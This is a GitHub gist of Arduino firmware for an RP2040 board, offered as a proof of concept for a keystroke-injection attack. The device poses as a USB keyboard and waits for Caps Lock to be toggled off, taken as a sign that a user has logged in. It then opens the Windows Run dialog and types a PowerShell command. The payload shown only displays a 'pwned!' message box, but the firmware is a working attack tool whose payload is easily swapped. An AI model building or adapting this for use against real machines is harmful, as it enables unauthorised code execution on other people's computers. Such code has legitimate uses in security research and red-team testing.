Skip to content

Instantly share code, notes, and snippets.

@dunderhay
Created January 19, 2025 21:56
Show Gist options
  • Save dunderhay/24a21e882d51befc0f8e2abcda075c11 to your computer and use it in GitHub Desktop.
Save dunderhay/24a21e882d51befc0f8e2abcda075c11 to your computer and use it in GitHub Desktop.
Basic proof of concept code to monitor caps lock state using an rp2040 and deliver a payload once state changes
#include <FastLED.h>
#include "Adafruit_TinyUSB.h"
// Define the pin for the RGB LED
#define DATA_PIN 16
#define NUM_LEDS 1
CRGB leds[NUM_LEDS];
// HID report descriptor using TinyUSB's template
uint8_t const desc_hid_report[] = {
TUD_HID_REPORT_DESC_KEYBOARD(),
};
Adafruit_USBD_HID usb_hid;
// Previous Caps Lock state
bool lastCapsLockState = false;
// Flag to indicate Caps Lock toggled from ON to OFF
bool capsLockToggledOff = false;
// Flag to
bool shutdownTriggered = false;
void shutdownRP2040() {
// We never want to run the payload more than once
TinyUSBDevice.detach();
leds[0] = CRGB::Black;
FastLED.show();
while (true) {
// Enter an infinite loop to simulate a shutdown
delay(1000);
}
}
// Output report callback for LED indicator
void hid_report_callback(uint8_t report_id, hid_report_type_t report_type, uint8_t const* buffer, uint16_t bufsize) {
if (report_type != HID_REPORT_TYPE_OUTPUT) return;
uint8_t ledIndicator = buffer[0];
bool currentCapsLockState = ledIndicator & KEYBOARD_LED_CAPSLOCK;
// Track change of Caps Lock state from on to off
if (lastCapsLockState && !currentCapsLockState) {
capsLockToggledOff = true;
}
// Toggle LED color based on the Caps Lock state
leds[0] = currentCapsLockState ? CRGB::Red : CRGB::Green;
FastLED.show(); // Update the LED state
// Update the last Caps Lock state
lastCapsLockState = currentCapsLockState;
}
// Send our powershell payload
char powershell_payload[] = "powershell -Command \"Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('pwned!')\"\n";
void send_payload() {
uint8_t keycode[6] = {0};
uint8_t modifier = 0;
keycode[0] = HID_KEY_GUI_LEFT;
keycode[2] = HID_KEY_R;
usb_hid.keyboardReport(0, 0, keycode);
delay(100);
usb_hid.keyboardRelease(0);
delay(100);
print_ln(powershell_payload, sizeof(powershell_payload), 0);
}
// Helper to type strings
void print_ln(char* message, char len, char delays) {
for (int i = 0; i < len; i++) {
usb_hid.keyboardPress(0, message[i]);
delay(10);
usb_hid.keyboardRelease(0);
delay(10);
//delay(delays + 50);
}
//delay(100);
delay(20);
}
// Setup function
void setup() {
usb_hid.setPollInterval(2);
usb_hid.setReportDescriptor(desc_hid_report, sizeof(desc_hid_report));
usb_hid.setReportCallback(NULL, hid_report_callback);
usb_hid.begin();
// Set up the RGB LED with FastLED
FastLED.addLeds<WS2812B, DATA_PIN>(leds, NUM_LEDS);
// Start with LED off (initial state)
leds[0] = CRGB::Black;
FastLED.show();
// Wait until the device is mounted
while (!USBDevice.mounted()) delay(1);
}
// Main loop
void loop() {
if (shutdownTriggered) return;
// Remote wakeup
if (USBDevice.suspended()) {
USBDevice.remoteWakeup();
}
if (!usb_hid.ready()) return;
// Check if Caps Lock toggled from ON to OFF
if (capsLockToggledOff) {
// Reset caps toggle - only needed for debugging or testing payloads
// capsLockToggledOff = false;
leds[0] = CRGB::Blue;
FastLED.show();
// Wait for (hopefully) login event to finish
delay(10000);
send_payload();
// We only ever want to fire the payload once
shutdownTriggered = true;
shutdownRP2040();
}
delay(100); // Avoid excessive polling
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment